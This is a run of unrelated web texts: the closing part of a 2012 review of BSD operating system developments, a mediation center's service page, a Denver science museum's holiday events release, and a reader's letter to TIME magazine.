TRIM support -- DragonFlyBSD now supports the TRIM command to improve communication of the operating system with their solid state drives.
USB4BSD import -- The USB4BSD USB stack originally written for FreeBSD was imported to DragonFly, allowing easier maintenance and a broad range of drivers, including XHCI (USB 3.0) support.
TrueCrypt/tcplay -- TrueCrypt, a disk encryption tool, though being Closed Source, gained a wide distribution among computers due to its ease of use and cross-platform compatibility. DragonFlyBSD developers decided to write a compatible Open Source implementation. This implementation has already been ported to Linux and imported into some distributions, e.g. Fedora.
When it comes to filesystems, DragonFlyBSD is famous for its HAMMER filesystem, which, informally speaking, is something like a ZFS, but with DragonFlyBSD's more powerful vfs layer. In February 2012, with the conclusions and experiences gained from HAMMER, the development of HAMMER2 started.
While DragonFlyBSD currently uses pkgsrc, the package system primarily used by NetBSD (but being cross-platform), there are intentions to introduce a new system. It is named DPorts, providing binary packages on top of FreeBSD's packaging system, ports. Though it is rather experimental for now, the final goal is to make binary packages and the new pkg tool from FreeBSD the default for coming releases. Users won't be forced to compile packages anymore.
FreeBSD is by far the most active BSD when it comes to sheer numbers, having the largest user and developer base (roughly 80% of the whole BSD community). In 2012, a new minor version of FreeBSD 8 (8.3-RELEASE in April) was released, as well as a new major version (9.0-RELEASE in January) and its first minor release (9.1-RELEASE in December).
With 9.0-RELEASE, there came a long list of changes:
HAST -- HAST, the Highly Available STorage is an easy way to mirror block devices over the network and create high availability solutions with them. Essentially, it's a RAID with synchronisation which is geared for networking.
Capsicum -- The capabilities framework Capsicum has been added to FreeBSD but tagged experimental. It enables applications to use fine-tuned capabilities. There is a dedicated developer for Capsicum, being funded by Google (which is apprently interested in using it for Chrome).
Softupdates journaling -- FFS now supports softupdates journaling, enabling you to use softupdates in conjunction with journaling, which have been two competing technologies until now.
bsdinstall -- The new bsdinstall(8) replaces the old installer which got a bit rusty in the end, not supporting many of the features FreeBSD introduced in the last years. bsdinstall provides more functionality and is more extendable by just being a bunch of sh scripts with dialog(1).
NFSv4 -- FreeBSD 9.0 supports the fourth version of the network file system NFS. Though it has been specified in 2000 (and again in 2003), there were only few implementations so far.
Playstation 3 -- FreeBSD now officially supports the Playstation 3 game console. This might be a bit late, but the Playstation 3 has been useful for several number crunching applications due to its processor and its low price.
RACCT -- A new Resource Accounting framework (RACCT) has been added: rctl(8) now supports limiting the resources on a per-jail, per-user, per-process or per-login-class model, but not percentual CPU time yet.
gpart -- The ancient tools for labeling disks (fdisk, *label) have been dropped in favour of gpart(8), though they will remain in base for compatibility reasons. The new tool should mainly be used with GPT partitions, the old types (MBR and disklabel) are not endorsed anymore.
Clang/LLVM -- In FreeBSD 9.0, the new compiler has been imported. It is not used for building 9.0, but in November 2012, all platforms were switched to use Clang by default, i.e. FreeBSD 10.0 will build with Clang instead of GCC by default.
With 9.1-RELEASE, there was a change indicating an interesting development: ZFS changes from Illumos were pulled in. Maybe there is hope for an Oracle-independent development of ZFS?
As many Open Source projects do, FreeBSD had a fundraising campaign at the end of the year, this time achieving a record result: About 750k USD were collected, showing the commercial size of FreeBSD well in comparison to the other BSDs.
The money is spent for maintaining infrastructure and funding new projects, some of which promise interesting results:
standard ARM platform -- A standard ARM platform, the Genesi Efika MX SmartBook and SmartTop (ever heard of it?) with an ARM Cortex A8 SoC was determined, and developers got free devices to start development for.
NAND flash -- The goal of this project is to improve the support for devices running on small NAND flash memory, i.e. a filesystem, a driver framework for controllers and memory chips and tools shall be developed.
growfs -- The tool for enlarging filesystems shall be modified to be able to grow filesystems online. Until now, growfs is only capable of handling offline filesystems, i.e. unmounted filesystems.
For FreeBSD, there were two unpleasant events in 2012: First, the security advisories on the best possible date, 23rd of December (the day just before Christmas holidays, when most administrators had already left). And second, there was another broad security issue this year: a security breach, published on November 17th. Administrators might have noticed that for about one week, there were no portsnap updates to ports trees. The reason was that one week earlier, the security team found an SSH key of a developer compromised as of 19th of September, with access to two ports development machines.
Eventually, the security team announced they didn't find anything security-relevant, but still recommend not to trust binary package installations made in that time frame. In December, everything was completely back online.
NetBSD is the oldest BSD derivate still under development. A few years ago, its developers mostly focused on supporting many platforms and providing a good abstraction to achieve this. Nowadays, the focus slightly shifted to provide a clean operating system. Here, clean means that code should be clean, and new features should be introduced thoughtfully, not just to be removed again after some releases or break compatibility.
Three years after the last major NetBSD release (5.0), NetBSD 6.0 was finally released on October 17th. The NetBSD 5 branch was updated to 5.2 on 3rd of December and NetBSD 4.0 support was dropped five years after its initial release in 2007.
Nearly three years after the last release, there are a lot of changes for 6.0:
- apropos -- During the Google Summer Of Code (GSoC) 2011, there was a project to rewrite apropos(1) to not only have a dumb full-text search, but a relevance-weighted search. This apropos is now included in NetBSD 6.0.
posix_spawn -- POSIX finally decided to specify an interface to spawn a new process, named posix_spawn. In a GSoC project, this was implemented and is now part of NetBSD.
netpgp -- Due to many large dependencies GnuPG has, and the fact that it is GPL licenced (remember: BSD folks don't like that), there was a rewrite of PGP/GPG, named netpgp. The implementation is not yet as feature-rich as gpg, but it is being further developed and is already capable of doing basic encryption and signing.
v7fs, chfs -- The ancient Unix 7th Edition file system has been reimplemented. The reason behind it is to have a very small filesystem alternative to FAT, and to be able to read old disks from PDP-11s. On the other hand, there is a new filesystem named CHFS which is intended to be used on small flash devices.
npf -- In NetBSD 6.0, a new firewall solution named npf was introduced. It was written as a replacement to overcome the problems with the two which were already implemented (ipf and pf).
In July, there was an interesting post on a mailing list from a Google developer. It addressed the bionic C library used in Android devices, which apparently uses many parts from several sources. The goal of the developer was to merge the code used by Android back with upstream, eventually taking one single C library, and not several different ones. Though the discussion just ended without a result (at least without a public result), it is still nice to see how many projects are actually using parts of NetBSD's code somehwere.
This is also the case for MINIX. On March 7th, MINIX 3.2.0 was released. As the developers of MINIX are mainly researchers who want to use MINIX for researching, and not for developing software, and their userland was fairly old, they decided to use another one: NetBSD's. Thus, from MINIX 3.2.0 on, there are large parts of the ordinary NetBSD userland as well as pkgsrc, the package management from NetBSD contained in MINIX.
OpenBSD is a fork of NetBSD after personal issues between the now-OpenBSD main developer and the rest of the development team back in the nineties. Nowadays, OpenBSD is famous for its focus on security and its radicalness in not accepting Closed Source software, leading to the development of common tools like OpenSSH.
As every year, OpenBSD released two new versions (5.1 in May, 5.2 in November) - they have a fixed periodic release schedule. OpenBSD releases always have a motto and an accompanying release song, sometimes also with a story behind it. 5.1 had the generic motto Bug Busters, while 5.2 had the motto Aquarela Do Linux, referring to the problems Marc Espie pointed out as mentioned before (see "Community").
The major changes in 2012 were:
NAT64 -- OpenBSD 5.1 introduced NAT64 for their packet filter pf.
Books -- The preorder of Absolute OpenBSD, 2nd Edition, a famous book about OpenBSD, started.
pthreads -- Until then, pthreads in OpenBSD had been user-level only. This year, rthreads were introduced, mapping pthreads of a userland utility directly to kernel processes, improving SMP capability and speed, now making better usage of multicore machines.
In June 2012, the project Bitrig forked from OpenBSD. Their philosophy, as opposed to OpenBSD, is mainly about being less conservative. Its developers want to drop the main focus on security and supporting old platforms, but focus on
- using Clang as their default compiler (OpenBSD uses GCC),
- providing better KVM (virtualisation) support,
- providing filesystem journaling by porting NetBSD's WAPBL,
- supporting only x86 machines (i386, amd64),
- improving OpenBSD's SMP support.
You should have in mind that I'm part of the FreeBSD and NetBSD community myself, so this report might have been biased towards these two.
I also excluded all the general improvements operating systems go through over time: improving performance, adding drivers, becoming more stable.


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Tompkins County Courts
Community Dispute Resolution Center
Mediation Works:
Here's Where! | Here's How! | Here's Why!
Community Dispute Resolution Center
A United Way Agency
Serving Chemung, Schuyler and Tompkins Counties
120 W. State Street
Ithaca, NY 14850
Phone: 607-273-9347
Fax: 607-275-9225
Here's Where!
Among Community Members
- Friends & Family Members
- Roommates, Landlords & Tenants
- Neighbors
- Co-workers
- Employers & Employees
- Consumers, Merchants & Vendors
In Special Situations
In Court Cases
CDRC assists people in dealing with underlying issues as well as incidents which lead to court actions. Cases are accepted before, during and after adjudication, with many courts incorporating mediated agreements into their judgments.
Civil Cases
- Small Claims
- Commercial Claims
Criminal Cases
Between Parents
CDRC helps parents develop acceptable ways to meet their responsibilities and their children's needs. Many cases come from FAMILY COURT; others begin after parents, attorneys or agencies call CDRC directly. Cases handled include:
Between Parents & Teens
CDRC helps families to resolve problems cooperatively. Situations include:
With Young People
CDRC teaches youth cooperation and problem-solving:
For Business, Government & Organizations
CDRC's INTERFACE Program designs services including:
- Collaborative Problem-solving
- Facilitation of Meetings & Retreats
- Mediation
Here's How!
Mediation is a confidential, voluntary decision-making process in which impartial mediators assist people with conflict in making whatever progress they choose. Through mediation people:
- Explore differences
- Clarify areas of agreement and disagreement
- Consider a range of options to resolve their situation
- Define next steps
- Work toward understanding
- Improve communication
Here's Why!
Mediation is effective because it:
- Empowers parties to reach their own solutions
- Is private and confidential
- Encourages communication and cooperation
- Is scheduled at dates and times convenient to those involved
- Is available at no cost to participants or on a sliding scale with no one turned away


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Top Programs and Events at the Denver Museum of Nature
& Science in November and December
A Day in Pompeii
Now Open
What nature destroyed, it also preserved. Hundreds of
exceptional artifacts offer an insider's glimpse into the daily
life-and tragic end-of this ancient Roman city that was destroyed
by the eruption of Mount Vesuvius in AD 79. These archaeological
treasures lay buried in Pompeii's ruins, preserved as if sealed in
a time capsule. Highlights include marble and bronze sculptures,
jewelry, gold coins, everyday household items, and more. Visitors
will uncover the treasures of a city steeped in legend, examine
casts of the volcano's victims frozen in their last moments, and
discover the power of volcanoes past and present.
Extended Holiday Hours
Extended hours to see A Day in Pompeii will be available during
the holidays. For details, click here. The
Museum is open seven days a week year-round, with the exception of
December 25.
NEW! Rocky Mountain Express 2D
Opens November 2, 2012
Rocky Mountain Express takes audiences on a steam
train journey through the breathtaking vistas of the Canadian
Rockies as it tells the epic story of building the nation's first
transcontinental railway. The film weaves together spectacular IMAX
aerial cinematography, stunning landscapes of the West, archival
photographs and maps, and the powerful energy and rhythms of a live
steam locomotive.
Deep Sea 3D
Now Showing
Dive deep and swim with some of the most extraordinary sea
creatures ever seen on the IMAX 3D screen. Deep Sea 3D is
an underwater adventure that transports audiences way down below
the ocean surface. Encounter some of nature's mysterious and
colorful creatures, from the unusual wolf eel to the giant Pacific
octopus to the fearsome-looking sand tiger shark. Discover their
peculiar and amazing behavior, and how they rely on one another for
Narrated by Johnny Depp and Kate Winslet, with an original score
by Danny Elfman,Deep Sea 3Dtakes viewers on a magical journey to
places that most of us have never been.
SuperVolcanoes explores rare types of volcanic
eruptions that marshal the energy that lurks, like a sleeping
dragon, beneath the surface of planet Earth. In this unique
immersive experience, audiences will explore the impact of
volcanism on Earth and other worlds in our solar system. Can a
supervolcano erupt in our own time? The answer is surprisingly
close to home.
Titanaboa, the World's Largest Snake
Thursday, November 1, 7 p.m., $8 member, $10
It's a rather overwhelming thought, but a 49-foot, 2,500-pound
snake once slithered on Earth! Fortunately, this was about 60
million years ago. Vertebrae from this gigantic reptile was
excavated from Cerrejón, the world's biggest open-pit coal mine,
during a fossil-hunting expedition in Colombia. Jason Head, curator
of vertebrate paleontology at the University of Nebraska State
Museum, and a team of scientists described the species and named it
Titanoboa. Join Head to hear more about unearthing Titanoboa and
how this behemoth of yesterday tells us about the world we're
living in today.
Saturday Night at the Museums
Saturday, November 3, 5 p.m.-10 p.m., FREE (timed
tickets will be required for A Day in Pompeii. Advanced ticket
purchase is highly recommended)
As a highlight of Denver Arts Week, the community's greatest
cultural attractions open their doors for free on this Saturday
night. Visitors to the Denver Museum of Nature & Science will
enjoy extended hours to see *A Day in Pompeii, the temporary art
installation, "Making Do," by James Luna, *IMAX and Planetarium
shows, and permanent exhibitions including Expedition Health, Space
Odyssey, Prehistoric Journey, and Egyptian Mummies. *Ticket
purchase is required for A Day in Pompeii, IMAX and
Digital Earth: Fossils of the Grand
Thursday, November 8, 7 p.m. $8 member, $10
Grand Staircase-Escalate National Monument in Utah is one of the
last great frontiers for dinosaur discovery. Located in an
extremely remote and wild area, the area spans nearly 1.9 million
acres, with stunning and expansive exposures of Cretaceous-aged
rocks preserving a record of past life between 95 and 74 million
years ago. Most of the unearthed fossils are new to science and
among the best representatives of their kind in North America. With
paleontologists Ian Miller and Joe Sertich as your guides and Ka
Chun Yu as your driver, you'll explore the latest discoveries from
Escalante through panoramas, maps, satellite imagery, and 3D fossil
Science Lounge: Libations in Exotic
Thursday, November 15, 6:30-9:30 p.m., $8 member, $10
(If sold out online, tickets available at the door.) Enjoy a
mind-expanding experience with cocktails and entertainment every
third Thursday of the month. Ages 21 and up. This month,Climb
aboard a global cruise as you visit ports of call from Australia to
the Galapagos via the Museum's diorama halls. Recreate your
favorite destination with a mini diorama while we thrill you with
tales from historic expeditions. You won't bag any big game, but
you'll hunt for hidden elves and relax to the sound of Dizzy
Fingers in the piano lounge.
SCFD Community FREE Day
Monday, November 19, 9 a.m.-5 p.m., FREE
Enjoy outstanding permanent exhibitions including Expedition
Health, Space Odyssey, Prehistoric Journey, and Egyptian
Simon Winchester Presents Skulls
Monday, December 3, 7 p.m. $8 member, $10
Book sale & signing
Best-selling author Simon Winchester (The Professor and the
Madman and The Map That Changed the World) plumbs the depths of an
enduring fascination in Skulls: An Exploration of Alan Dudley's
Curious Collection. In visually stunning book, Winchester explores
more than 300 animal skulls-amphibians, birds, fish, mammals, and
reptiles-from the collection of Alan Dudley, holder of what is
likely the largest and most complete private collection of skulls
in the world. Skulls details the parts of a skull and specific
adaptations, the science and pseudoscience of skulls, and the use
of skulls in religion, art, and popular culture. Winchester's
ability to tell riveting and enlightening stories results in a near
perfect survey designed for amusement, the indulgence of macabre
fascination, and learning.
A Pompeii of the Americas
Thursday, December 6, 7 p.m., $8 member, $10
Throughout the turmoil of Central America's civil wars in the
1980s, archaeologist Payson Sheets worked to unearth an
extraordinarily well-preserved 1,400-year-old Maya village. A
scalding blanket of ash erupted from the Loma Caldera volcanic vent
around AD 630, freezing the farming village of Ceren in time. Ceren
is located in today's El Salvador and has become known as the
"Pompeii of the Americas." Sheets and his team uncovered evidence
of everyday life in the village, including artifacts showing that
the Maya were likely in the middle of a harvest feast when the
explosion occurred. Unlike Pompeii, however, no bodies have been
found. During this presentation, Sheets, a professor at the
University of Colorado at Boulder, will discuss his life's work in
Ceren, now deemed a U.N. World Heritage Site.
Sunday, December 9, 9 a.m.-5 p.m., FREE
Charlotte Hurley: 303-370-6407, [email protected]
NOTE: Please let me know if this monthly event/program update is
more appropriate for another person at your organization, so we can
update our contact list.
About the Denver Museum of Nature &
The Denver Museum of Nature & Science is the Rocky Mountain
Region's leading resource for informal science education. A variety
of engaging exhibits, discussions and activities help Museum
visitors celebrate and understand the natural wonders of Colorado,
Earth and the universe. The Museum is located at 2001 Colorado
Blvd., Denver, CO, 80205. To learn more about the Museum,
check www.dmns.org, or call 303-370-6000.
# # #
Many of the Museum's educational programs and exhibits are made
possible in part by the citizens of the seven-county metro area
through the Scientific & Cultural Facilities District.


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I want to compliment TIME on its splendid portrayal of the German situation in March and April.
I happened to be in Germany during this period and was eager to see how periodicals back home pictured it. TIME was in my humble estimation the only magazine which described matters accurately as they took place.
You might be interested to know also that I saw TIME on the Crown-Prince's writing table when I interviewed him at 36 Unter den Linden in mid-March: and also on the magazine table of President Hindenburg, although the latter's secretary informed me your magazine was "very inaccurate."
I am now anxiously watching TIME to see what it is going to say about the Austrian situation. . . .
Cornelius Vanderbilt Jr., SALZBURG, AUSTRIA